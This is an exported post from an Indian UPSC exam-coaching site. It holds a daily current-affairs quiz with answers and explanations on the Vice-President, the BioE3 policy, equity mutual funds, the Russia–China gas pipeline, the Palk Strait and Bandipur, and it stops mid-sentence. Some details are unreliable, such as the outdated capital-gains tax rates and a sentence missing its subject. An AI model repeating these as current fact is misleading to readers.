{"id":2360,"date":"2025-09-12T09:56:23","date_gmt":"2025-09-12T09:56:23","guid":{"rendered":"https:\/\/iasquest.com\/?p=2360"},"modified":"2026-02-11T18:53:24","modified_gmt":"2026-02-11T18:53:24","slug":"daily-current-affairs-11-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-11-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 11-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which of the following is\/are the function\/functions of the Vice-President?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. In the absence of the President due to death, resignation, removal, the Vice-President acts as the President of India until a new President is elected.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. He\/She can participate in the voting of the Rajya Sabha in all instances.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. He\/She presides over the joint sitting of the parliament.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> The new Vice-President can help end combative hostilities in the Rajya Sabha<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Functions of Vice-President:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>The Vice-President is the <strong>ex-officio Chairman of the Rajya Sabha<\/strong> (Council of States).<\/li>\n\n\n\n<li>He\/She <strong>presides over the Rajya Sabha<\/strong> and ensures its smooth functioning.<\/li>\n\n\n\n<li>The Vice-President <strong>maintains order and decorum<\/strong> in the Rajya Sabha.<\/li>\n\n\n\n<li>He\/She <strong>decides on points of order<\/strong> raised in the House.<\/li>\n\n\n\n<li>The Vice-President has the <strong>casting vote in case of a tie<\/strong> in the Rajya Sabha.<\/li>\n\n\n\n<li>He\/She <strong>does not participate in the voting<\/strong> of the Rajya Sabha except in the case of a tie. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>In the absence of the President due to death, resignation, removal, or otherwise, the Vice-President <strong>acts as the President of India<\/strong> until a new President is elected. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>During this period, the Vice-President <strong>enjoys all powers and functions of the President<\/strong>.<\/li>\n\n\n\n<li>The Vice-President also <strong>represents India on various occasions<\/strong> as assigned by the President.<\/li>\n\n\n\n<li>He\/She <strong>performs ceremonial and constitutional duties<\/strong> when required.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Note<\/strong>: The presides over the joint sitting of the parliament. <strong>Hence statement 3 is incorrect.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. Which of the following is\/are the function\/functions of the Cabinet Secretariat?<\/strong> <br><br>1. Preparation of agenda for Cabinet Meetings <br>2. Secretarial assistance to Cabinet Committees <br>3. Allocation of financial resources to the Ministries <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 2 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/editorial\/man-of-faith-on-cp-radhakrishnan-15th-vice-president-of-india\/article70034055.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/editorial\/man-of-faith-on-cp-radhakrishnan-15th-vice-president-of-india\/article70034055.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Which of the following thematic areas are covered under the BioE3 policy?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">1. Bio-based chemicals and biopolymers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">2. Smart proteins and functional foods<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">3. Precision biotherapeutics<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">4. Carbon capture and utilisation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(b) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(c) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>In NEWS: <\/strong>Under the BioE3 policy, the government plans to set up 16 biomanufacturing hubs across India to cut import dependence and boost manufacturing within the country.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>BioE3 (Biotechnology for Economy, Environment and Employment):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>BioE3 is a policy approved by the Union Cabinet in <strong>August 2024<\/strong>. It stands for <strong>Biotechnology for Economy, Environment and Employment<\/strong>.<\/li>\n\n\n\n<li>The policy aims to <strong>foster high-performance biomanufacturing<\/strong> in India.<\/li>\n\n\n\n<li>It focuses on <strong>economic growth, environmental sustainability, and employment generation<\/strong>.<\/li>\n\n\n\n<li>The policy promotes <strong>innovation, R&amp;D and entrepreneurship<\/strong> in biotechnology.<\/li>\n\n\n\n<li>It supports the concept of a <strong>circular bioeconomy<\/strong> and <strong>climate change mitigation<\/strong>.<\/li>\n\n\n\n<li>BioE3 will establish <strong>Biomanufacturing Hubs<\/strong> and <strong>Biofoundries<\/strong> to scale up technologies.<\/li>\n\n\n\n<li>It will create <strong>Bio-AI Hubs<\/strong> to integrate biotechnology with artificial intelligence.<\/li>\n\n\n\n<li>Thematic areas include <strong>bio-based chemicals, smart proteins, biopolymers, precision biotherapeutics, climate-resilient agriculture, carbon capture, marine and space research<\/strong>. <strong>Hence all the statements are correct.<\/strong><\/li>\n\n\n\n<li>It encourages <strong>public-private partnerships<\/strong> in biomanufacturing.<\/li>\n\n\n\n<li>The policy emphasises <strong>regulatory reforms and inter-ministerial coordination<\/strong>.<\/li>\n\n\n\n<li>It aims to build a <strong>skilled workforce<\/strong> in the biomanufacturing sector.<\/li>\n\n\n\n<li>BioE3 is expected to boost <strong>green growth<\/strong> and support India\u2019s <strong>net-zero targets<\/strong>.<\/li>\n\n\n\n<li>It will help in <strong>commercialising biotech innovations<\/strong> from lab to industry.<\/li>\n\n\n\n<li>The policy will generate <strong>new employment opportunities<\/strong> across the biotechnology value chain.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. With reference to an initiative called &#8220;The Economics of Ecosystems and Biodiversity (TEEB)&#8221; which of the following statements is\/are correct?<\/strong> <br><br>1. It is an initiative hosted by UNEP, IMF and World Economic Forum. <br>2. It is a global initiative that focuses on drawing attention to the economic benefits of biodiversity. <br>3. It presents an approach that can help decision-makers recognize, demonstrate and capture the value of ecosystems and biodiversity. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br><strong>(c) 2 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-bioe3-policy-biotechnology-vigyan-dhara-upsc-10237007\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-bioe3-policy-biotechnology-vigyan-dhara-upsc-10237007\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><a href=\"https:\/\/dbtindia.gov.in\/news-features\/cabinet-approves-bioe3-biotechnology-economy-environment-and-employment-policy\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/dbtindia.gov.in\/news-features\/cabinet-approves-bioe3-biotechnology-economy-environment-and-employment-policy<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>3. With reference to Equity Mutual Funds (MFs), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">1. As per SEBI regulations, they must invest at least 65% of their assets in equities and equity-related instruments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">2. They are considered suitable for short-term investment horizons of less than one year.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">3. The returns from equity mutual funds are completely tax-free in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(b) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Equity Mutual Funds (MFs):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>1. Definition<\/strong> \u2013 An equity mutual fund is a mutual fund that invests <strong>mostly in company shares (equities)<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>2. SEBI Rule<\/strong> \u2013 At least <strong>65% of total assets<\/strong> must be invested in equities\/equity-related instruments. <strong>Hence statement 1 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>3. Objective<\/strong> \u2013 Provide <strong>long-term capital growth<\/strong> through stock market investments. <strong>Hence statement 2 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>4. Types by Market Cap<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li><strong>Large-cap funds<\/strong> (stable, blue-chip companies)<ul><li><strong>Mid-cap funds<\/strong> (medium-sized companies, moderate risk\/return)<\/li><\/ul><ul><li><strong>Small-cap funds<\/strong> (high-growth, high-risk companies)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Multi-cap \/ Flexi-cap funds<\/strong> (mix of large, mid, and small caps)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>5. Types by Strategy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li><strong>Sectoral\/Thematic funds<\/strong> (IT, Pharma, Infrastructure, etc.)<ul><li><strong>Value\/Growth funds<\/strong> (based on stock valuation styles)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Focused funds<\/strong> (limited number of companies)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>6. Risk\u2013Return Profile<\/strong> \u2013 Higher <strong>risk and volatility<\/strong> compared to debt funds, but with potential for <strong>higher long-term returns<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>7. Time Horizon<\/strong> \u2013 Best suited for <strong>long-term investors<\/strong> (5+ years).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>8. Taxation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li><strong>Short-Term Capital Gains (STCG):<\/strong> If redeemed within 1 year \u2192 taxed at 15%.<\/li>\n\n\n\n<li><strong>Long-Term Capital Gains (LTCG):<\/strong> If redeemed after 1 year \u2192 gains above \u20b91 lakh taxed at 10% (without indexation). <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to Convertible Bonds, consider the following statements:<\/strong> <br><br>1. As there is an option to exchange the bond for equity, Convertible Bonds pay a lower rate of interest. 2. The option to convert to equity affords the bondholder a degree of indexation to rising consumer prices. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/equity-mf-inflows-drop-22-mom-in-august-to-33430-crore-amfi-data\/article70034836.ece#:~:text=Equity%20mutual%20fund%20(MF)%20inflows,India%20(AMFI)%20on%20Wednesday\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/equity-mf-inflows-drop-22-mom-in-august-to-33430-crore-amfi-data\/article70034836.ece#:~:text=Equity%20mutual%20fund%20(MF)%20inflows,India%20(AMFI)%20on%20Wednesday<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>4. The Altai Gas Pipeline, often referred to as Power of Siberia 2, is a proposed natural gas pipeline between:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(a) Russia and India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(b) Russia and China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(c) Kazakhstan and China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(d) Turkmenistan and Afghanistan<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Answer: (b) Russia and China<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>In NEWS:<\/strong> A pipeline deal to send Russian gas to China shows Beijing\u2019s sway in ties<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>The Altai Gas Pipeline:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>The <strong>Altai Gas Pipeline<\/strong> is a proposed <strong>natural gas pipeline project between Russia and China<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>It is also referred to as the <strong>Power of Siberia 2 pipeline<\/strong>.<\/li>\n\n\n\n<li>The pipeline is planned to run through the <strong>Altai region of Russia<\/strong> into <strong>Xinjiang province of China<\/strong>.<\/li>\n\n\n\n<li>It aims to deliver about <strong>30 billion cubic meters (bcm) of natural gas per year<\/strong> to China.<\/li>\n\n\n\n<li>The project strengthens <strong>Russia\u2013China energy cooperation<\/strong>, reducing China\u2019s dependence on seaborne LNG imports.<\/li>\n\n\n\n<li>It also helps Russia <strong>diversify its energy exports<\/strong> away from Europe, especially after Western sanctions.<\/li>\n\n\n\n<li>The route is considered shorter and more cost-effective than other alternatives.<br>Negotiations have been ongoing since <strong>2006<\/strong>, but final agreements on pricing and construction timelines are still pending.<\/li>\n\n\n\n<li>The project is strategically significant as it would <strong>connect West Siberian gas fields<\/strong> (which earlier supplied Europe) to China.<\/li>\n\n\n\n<li>If completed, it will make China the <strong>largest importer of Russian natural gas<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement-I:<\/strong> Sumed pipeline is a strategic route for Persian Gulf oil and natural gas shipment to Europe <strong>Statement-II:<\/strong> Sumed pipeline connects the Red Sea with the Mediterranean Sea. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br><strong>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong> <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br>(c) Statement-I is correct, but Statement-II is incorrect <br>(d) Statement-I is incorrect, but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Source: THE HINDU<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>5. Consider the following map:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"295\" height=\"215\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-11.jpg\" alt=\"\" class=\"wp-image-2361\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>With reference to the above map identify the location marked in 1 and 2?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(a) Palk Strait and Adam\u2019s Bridge<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(b) Malacca Strait&nbsp; and Bering Strait<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(c) Bosphorus Strait and Gulf of Sri Lanka<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(d) Gulf of Bay and Strait of Gibraltar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Answer: (a) Palk Strait and Adam\u2019s Bridge<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>In NEWS: <\/strong>The way forward on Katchatheevu, Palk Strait disputes<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"465\" height=\"301\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-12.jpg\" alt=\"\" class=\"wp-image-2362\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-12.jpg 465w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-12-300x194.jpg 300w\" sizes=\"auto, (max-width: 465px) 100vw, 465px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Significance of Palk Strait:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>Part of the Gulf of Mannar Biosphere Reserve (UNESCO-recognized).<\/li>\n\n\n\n<li>Adam\u2019s Bridge \/ Ram Setu: Mythologically believed to have been built by Lord Rama\u2019s army in the Hindu epic Ramayana.<\/li>\n\n\n\n<li>Strategic Region: Played roles in colonial trade routes and regional navigation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Conflicting areas:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>India\u2013Sri Lanka Maritime Agreements<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">1. 1974 Agreement: India ceded Katchatheevu Island to Sri Lanka.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">2. 1976 Agreement: Formal maritime boundary demarcated; both sides agreed not to allow fishing in each other&#8217;s waters.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Fishing Disputes<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">1. Indian fishermen often cross into Sri Lankan waters (rich in fish).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">2. Sri Lanka arrests or detains Indian fishermen for illegal entry.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">3. Major source of tension, especially for Tamil Nadu.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Sethusamudram Shipping Canal Project<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">1. A proposed canal through the Palk Strait to create a continuous sea route around India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">2. Would cut through Adam\u2019s Bridge, raising:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>Religious objections (Hindu beliefs).<\/li>\n\n\n\n<li>Environmental concerns (coral reefs, marine life).<\/li>\n\n\n\n<li>Strategic concerns (Sri Lankan sensitivities).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Proposed Solutions (\u201cThe Way Forward\u201d)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li><strong>Humane, Differentiated Approach:<\/strong> Recognize distinction between artisanal fishers (subsistence) and trawler operators (commercial). Provide transitional protection to small fishers.<\/li>\n\n\n\n<li><strong>Dialogue Between Fisher Communities:<\/strong> Indian and Sri Lankan fisher organizations should agree on quotas, seasonal rights, and regulated access.<\/li>\n\n\n\n<li><strong>Cultural Sensitisation &amp; Fraternal Solidarity:<\/strong> Emphasize shared Tamil identity and mutual suffering (e.g., during Sri Lanka\u2019s civil war). Use Tamil media, community leaders, and MPs to spread awareness.<\/li>\n\n\n\n<li><strong>Joint Resource Management:<\/strong> Inspired by Baltic Sea models \u2014 shared quotas, deep-sea fishing promotion, marine research, and ecological preservation.<\/li>\n\n\n\n<li><strong>De-politicising the Issue:<\/strong> Shift focus from populist \u201creclaim Katchatheevu\u201d narratives to realistic diplomacy. Emphasize treaty obligations, quiet cooperation, and regional harmony.<\/li>\n\n\n\n<li><strong>Multi-Level Diplomacy: <\/strong>Combine central government efforts with State\/Provincial dialogues involving Tamil Nadu and Northern Provincial Council of Sri Lanka.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (1997)<\/strong> <strong>Q. The following map shows four of the sixteen mahajanapadas that existed in ancient India:<\/strong><br> <img loading=\"lazy\" decoding=\"async\" width=\"299\" height=\"150\" src=\"blob:https:\/\/iasquest.com\/fc57f52e-a5a5-49fa-892b-eb6bfe506e36\"> <br><br><strong>The places marked A, B, C and D respectively are:<\/strong> <br><br>(a) Matsya, Chedi, Kosala, Anga <br>(b) Surasena, Avanti, Vatsa, Magadha <br><strong>(c) Matsya, Avanti, Vatsa, Anga<\/strong> <br>(d) Surasena, Chedi, Kosala, Magadha<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/the-way-forward-on-katchatheevu-palk-strait-disputes\/article70034563.ece#:~:text=The%20way%20forward%20involves%20multiple,empathy%20that%20overcomes%20media%20distortions\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/the-way-forward-on-katchatheevu-palk-strait-disputes\/article70034563.ece#:~:text=The%20way%20forward%20involves%20multiple,empathy%20that%20overcomes%20media%20distortions<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>6. With reference to Bandipur Tiger Reserve, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">1. It is a part of the Nilgiri Biosphere Reserve.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">2. The Kabini River flows through the reserve.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">3. It was declared a Tiger Reserve under Project Tiger in 1973.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>In NEWS: <\/strong>Elephant electrocuted in Bandipur Tiger 